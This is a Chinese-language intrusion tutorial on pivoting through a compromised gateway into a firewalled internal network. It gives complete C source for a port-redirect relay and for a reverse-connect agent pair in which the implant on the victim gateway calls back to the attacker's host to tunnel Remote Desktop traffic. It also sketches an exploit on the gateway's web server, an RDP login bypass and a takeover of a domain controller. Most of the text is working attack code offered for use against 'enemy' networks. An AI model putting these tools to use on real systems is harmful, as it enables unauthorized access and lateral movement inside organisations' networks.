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如何突破TCP-IP过滤/防火墙进入内网

时间:2010/1/16 17:40:00来源:本站整理作者:我要评论(0)

如何突破TCP-IP过滤/防火墙进入内网:

        现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。   也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。   Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。 <<第一部分:利用TCP socket数据转发进入没有防火墙保护的内网>>   假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。   我们的目标是连接上敌人内网的Terminal Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的,哈哈。 攻击流程如下: <1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。 <2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。 <3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3] <4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?:) 程序代码如下: /********************************************************************** Module Name:AgentGateWay.c Date:2001/4/15 CopyRight(c) eyas 说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT, 就可以进入内网了 sock[0]==>sClient sock[1]==>sTarget **********************************************************************/ #include #include #include "TCPDataRedird.c" #define TargetIP TEXT("192.168.1.3") #define TargetPort (int)3389 #define ListenPort (int)3389//监听端口 #pragma comment(lib,"ws2_32.lib") int main() { WSADATA wsd; SOCKET sListen=INVALID_SOCKET,//本机监听的socket sock[2]; struct sockaddr_in Local,Client,Target; int iAddrSize; HANDLE hThreadC2T=NULL,//C2T=ClientToTarget hThreadT2C=NULL;//T2C=TargetToClient DWORD dwThreadID; __try { if(WSAStartup(MAKEWORD(2,2),&wsd)!=0) { printf("\nWSAStartup() failed:%d",GetLastError()); __leave; } sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(sListen==INVALID_SOCKET) { printf("\nsocket() failed:%d",GetLastError()); __leave; } Local.sin_addr.s_addr=htonl(INADDR_ANY); Local.sin_family=AF_INET; Local.sin_port=htons(ListenPort); Target.sin_family=AF_INET; Target.sin_addr.s_addr=inet_addr(TargetIP); Target.sin_port=htons(TargetPort); if(bind(sListen,(struct sockaddr *)&Local,sizeof(Local))==SOCKET_ERROR) { printf("\nbind() failed:%d",GetLastError()); __leave; } if(listen(sListen,1)==SOCKET_ERROR) { printf("\nlisten() failed:%d",GetLastError()); __leave; } //scoket循环 while(1) { printf("\n\n*************Waiting Client Connect to**************\n\n"); iAddrSize=sizeof(Client); //get socket sClient sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize); if(sock[0]==INVALID_SOCKET) { printf("\naccept() failed:%d",GetLastError()); break; } printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr), ntohs(Client.sin_port)); //create socket sTarget sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(sock[1]==INVALID_SOCKET) { printf("\nsocket() failed:%d",GetLastError()); __leave; } //connect to target port if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR) { printf("\nconnect() failed:%d",GetLastError()); __leave; } printf("\nconnect to target 3389 success!"); //创建两个线程进行数据转发 hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID); hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID); // 去等待两个线程结束 WaitForSingleObject(hThreadC2T,INFINITE); WaitForSingleObject(hThreadT2C,INFINITE); CloseHandle(hThreadC2T); CloseHandle(hThreadT2C); closesocket(sock[1]); closesocket(sock[0]); printf("\n\n*****************Connection Close*******************\n\n"); }//end of sock外循环 }//end of try __finally { if(sListen!=INVALID_SOCKET) closesocket(sListen); if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]); if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]); if(hThreadC2T!=NULL) CloseHandle(hThreadC2T); if(hThreadT2C!=NULL) CloseHandle(hThreadT2C); WSACleanup(); } return 0; } /************************************************************************* Module:TCPDataRedird.c Date:2001/4/16 CopyRight(c) eyas HomePage:patching.net Thanks to shotgun 说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget *************************************************************************/ #define BuffSize 20*1024 //缓冲区大小20k //此函数负责从Client读取数据,然后转发给Target DWORD WINAPI TCPDataC2T(SOCKET* sock) { int iRet, ret=-1,//select 返回值 iLeft, idx, iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize char szSendToTargetBuff[BuffSize]={0}, szRecvFromClientBuff[BuffSize]={0}; fd_set fdread,fdwrite; printf("\n\n*****************Connection Active*******************\n\n"); while(1) { FD_ZERO(&fdread); FD_ZERO(&fdwrite); FD_SET(sock[0],&fdread); FD_SET(sock[1],&fdwrite); if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR) { printf("\nselect() failed:%d",GetLastError()); break; } //printf("\nselect() return value ret=%d",ret); if(ret>0) { //sClinet可读,client有数据要发送过来 if(FD_ISSET(sock[0],&fdread)) { //接收sock[0]发送来的数据 iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0); if(iRet==SOCKET_ERROR) { printf("\nrecv() from sock[0] failed:%d",GetLastError()); break; } else if(iRet==0) break; printf("\nrecv %d bytes from sClinet.",iRet); //把从client接收到的数据存添加到发往target的缓冲区 memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet); //刷新发往target的数据缓冲区当前buff大小 iSTTBCS+=iRet; //清空接收client数据的缓冲区 memset(szRecvFromClientBuff,0,BuffSize); } //sTarget可写,把从client接收到的数据发送到target if(FD_ISSET(sock[1],&fdwrite)) { //转发数据到target的3389端口 iLeft=iSTTBCS; idx=0; while(iLeft>0) { iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0); if(iRet==SOCKET_ERROR) { printf("\nsend() to target failed:%d",GetLastError()); break; } printf("\nsend %d bytes to target",iRet); iLeft-=iRet; idx+=iRet; } //清空缓冲区 memset(szSendToTargetBuff,0,BuffSize); //重置发往target的数据缓冲区当前buff大小 iSTTBCS=0; } }//end of select ret Sleep(1); }//end of data send & recv循环 return 0; } //此函数负责从target读取数据,然后发送给client DWORD WINAPI TCPDataT2C(SOCKET* sock) { int iRet, ret=-1,//select 返回值 iLeft, idx, iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize char szRecvFromTargetBuff[BuffSize]={0}, szSendToClientBuff[BuffSize]={0}; fd_set fdread,fdwrite; while(1) { FD_ZERO(&fdread); FD_ZERO(&fdwrite); FD_SET(sock[0],&fdwrite); FD_SET(sock[1],&fdread); if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR) { printf("\nselect() failed:%d",GetLastError()); break; } if(ret>0) { //sTarget可读,从target接收数据 if(FD_ISSET(sock[1],&fdread)) { //接收target返回数据 iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0); if(iRet==SOCKET_ERROR) { printf("\nrecv() from target failed:%d",GetLastError()); break; } else if(iRet==0) break; printf("\nrecv %d bytes from target",iRet); //把从target接收到的数据添加到发送到client的缓冲区 memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet); //清空接收target返回数据缓冲区 memset(szRecvFromTargetBuff,0,BuffSize); //刷新发送到client的数据缓冲区当前大小 iSTCBCS+=iRet; } //client可写,发送target返回数据到client if(FD_ISSET(sock[0],&fdwrite)) { //发送target返回数据到client iLeft=iSTCBCS; idx=0; while(iLeft>0) { iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0); if(iRet==SOCKET_ERROR) { printf("\nsend() to Client failed:%d",GetLastError()); break; } printf("\nsend %d bytes to Client",iRet); iLeft-=iRet; idx+=iRet; } //清空缓冲区 memset(szSendToClientBuff,0,BuffSize); iSTCBCS=0; } }//end of select ret Sleep(1); }//end of while return 0; } (利用TCP socket转发和反弹TCP端口进入有防火墙保护的内网)   事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹TCP端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下: 上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。 〈1〉我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到Internet,但我是网关的admin:)。 〈2〉敌人[其实是friend啦]的网关OS是2k adv server,在外网网卡上做了TCP/IP限制,只开放了25,53,80,110,3306这几个TCP PORT,通过一个漏洞,我得到了一个shell,可以通过IE来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用TCP socket转发。和第一部分说的一样吗?有些不同。因为他做了TCP/IP限制,我们不能连接他,只能让他来连接我们了,TCP反弹端口,呵呵。 攻击流程如下: 〈1〉在我的服务器202.1.1.1运行AgentMaster,监听TCP PORT 12345,等待202.2.2.2来连接,监听TCP PORT 3389,等待我192.168.0.2连接。 〈2〉在敌人网关机器202.2.2.2运行AgentSlave,连接到202.1.1.1 TCP PORT 12345[注意:是反弹端口,TCP/IP过滤也拿他没办法] 〈3〉我自己192.168.0.2用TermClient连接到自己的服务器202.1.1.1:3389 〈4〉敌人网关上的AgentSlave连接到自己本身在内网的IP==〉192.168.1.1:3389 〈5〉数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。   后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了TCP/IP过滤,攻击者没有办法进入。我只要把AgentSlave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。 程序代码如下[程序中所用到的TCPDataRedird.c已经贴在第一部分,那个文件做数据转发,通用的: /****************************************************************************** Module Name:AgentMaster.c Date:2001/4/16 CopyRight(c) eyas 说明:scoket代理主控端,负责监听两个TCP socket,等待攻击者和AgentSlave来连接,两个 scoket都连接成功后,开始转发数据 sock[0]是client==〉sock[0] sock[1]是target==〉sock[1] ******************************************************************************/ #include 〈stdio.h〉 #include 〈winsock2.h〉 #include "TCPDataRedird.c" #pragma comment(lib,"ws2_32.lib") #define TargetPort 3389//伪装的target的监听端口 #define LocalPort 12345//去等待AgentSlave来connect的端口 int main() { WSADATA wsd; SOCKET s3389=INVALID_SOCKET,//本机监听的socket,等待攻击者连接 s1981=INVALID_SOCKET,//监听的socket,等待AgentSlave来连接 sock[2]={INVALID_SOCKET,INVALID_SOCKET}; struct sockaddr_in Local3389,Local1981,Attack,Slave; int iAddrSize; HANDLE hThreadC2T=NULL,//C2T=ClientToTarget hThreadT2C=NULL;//T2C=TargetToClient DWORD dwThreadID; __try { //load winsock library if(WSAStartup(MAKEWORD(2,2),&wsd)!=0) { printf("\nWSAStartup() failed:%d",GetLastError()); __leave; } //create socket s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(s3389==INVALID_SOCKET) { printf("\nsocket() failed:%d",GetLastError()); __leave; } //create socket s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(s1981==INVALID_SOCKET) { printf("\nsocket() failed:%d",GetLastError()); __leave; } //fill the struct Local3389.sin_addr.s_addr=htonl(INADDR_ANY); Local3389.sin_family=AF_INET; Local3389.sin_port=htons(TargetPort); Local1981.sin_addr.s_addr=htonl(INADDR_ANY); Local1981.sin_family=AF_INET; Local1981.sin_port=htons(LocalPort); //bind s3389 for attacker if(bind(s3389,(struct sockaddr *)&Local3389,sizeof(Local3389))==SOCKET_ERROR) { printf("\nbind() failed:%d",GetLastError()); __leave; } //listen for attacker to connect if(listen(s3389,1)==SOCKET_ERROR) { printf("\nlisten() failed:%d",GetLastError()); __leave; } //bind s1981 for AgentSlave if(bind(s1981,(struct sockaddr *)&Local1981,sizeof(Local1981))==SOCKET_ERROR) { printf("\nbind() failed:%d",GetLastError()); __leave; } //listen for AgentSlave to connect if(listen(s1981,1)==SOCKET_ERROR) { printf("\nlisten() failed:%d",GetLastError()); __leave; } //socket循环 while(1) { //wait for AgentSlave to connect iAddrSize=sizeof(Slave); sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize); if(sock[1]==INVALID_SOCKET) { printf("\naccept() failed:%d",GetLastError()); break; } printf("\nAccept AgentSlave==〉%s:%d",inet_ntoa(Slave.sin_addr), ntohs(Slave.sin_port)); //wait for Attacker to connect iAddrSize=sizeof(Attack); sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize); if(sock[0]==INVALID_SOCKET) { printf("\naccept() failed:%d",GetLastError()); break; } printf("\nAccept Attacker==〉%s:%d",inet_ntoa(Attack.sin_addr), ntohs(Attack.sin_port)); //创建两个线程进行数据转发 hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID); hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID); //去等待两个线程结束 WaitForSingleObject(hThreadC2T,INFINITE); CloseHandle(hThreadC2T); CloseHandle(hThreadT2C); closesocket(sock[0]); closesocket(sock[1]); }//end of socket while }//end of try __finally { //clean all if(s3389!=INVALID_SOCKET) closesocket(s3389); if(s1981!=INVALID_SOCKET) closesocket(s1981); if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]); if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]); if(hThreadC2T!=NULL) CloseHandle(hThreadC2T); if(hThreadT2C!=NULL) CloseHandle(hThreadT2C); WSACleanup(); } return 0; } /*********************************************************************************** Module:AgentSlave.c Date:2001/4/17 Copyright(c)eyas HomePage:patching.net 说明:这个程序负责连接最终目标,连接主控端,然后转发数据 这里连接到AgenrMaster的socket相当与sClient==〉sock[0], 连接到最终目标的socoket是sTarget==〉sock[1] ***********************************************************************************/ #include 〈stdio.h〉 #include 〈winsock2.h〉 #include "TCPDataRedird.c" #pragma comment(lib,"ws2_32.lib") #define TargetIP "192.168.1.3" #define TargetPort (int)3389 #define AgentMasterIP "202.1.1.1" #define AgentMasterPort (int)12345 int main() { WSADATA wsd; SOCKET sock[2]={INVALID_SOCKET,INVALID_SOCKET}; struct sockaddr_in Master,Target; HANDLE hThreadC2T=NULL,//C2T=ClientToTarget hThreadT2C=NULL;//T2C=TargetToClient DWORD dwThreadID; __try { //load winsock library if(WSAStartup(MAKEWORD(2,2),&wsd)!=0) { printf("\nWSAStartup() failed:%d",GetLastError()); __leave; } //循环 while(1) { //create client socket sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(sock[0]==INVALID_SOCKET) { printf("\nsocket() failed:%d",GetLastError()); __leave; } //create target socket sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(sock[1]==INVALID_SOCKET) { printf("\nsocket() failed:%d",GetLastError()); __leave; } //fill struct Target.sin_family=AF_INET; Target.sin_addr.s_addr=inet_addr(TargetIP); Target.sin_port=htons(TargetPort); Master.sin_family=AF_INET; Master.sin_addr.s_addr=inet_addr(AgentMasterIP); Master.sin_port=htons(AgentMasterPort); //connect to AgentMaster if(connect(sock[0],(struct sockaddr *)&Master,sizeof(Master))==SOCKET_ERROR) { //连接失败后,等待一会儿再连 printf("\nconnect() to master failed:%d",GetLastError()); closesocket(sock[0]); closesocket(sock[1]); Sleep(5000); continue; } printf("\nconnect to %s %d success!",AgentMasterIP,AgentMasterPort); //connect to target if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR) { printf("\nconnect() to target failed:%d",GetLastError()); __leave; } printf("\nconnect to %s %d success!",TargetIP,TargetPort); //创建两个线程进行数据转发 hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID); hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID); //去等待两个线程结束 WaitForSingleObject(hThreadC2T,INFINITE); CloseHandle(hThreadC2T); CloseHandle(hThreadT2C); closesocket(sock[0]); closesocket(sock[1]); }//end of while }//end of try __finally { if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]); if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]); if(hThreadC2T!=NULL) CloseHandle(hThreadC2T); if(hThreadT2C!=NULL) CloseHandle(hThreadT2C); WSACleanup(); } return 0; }
 

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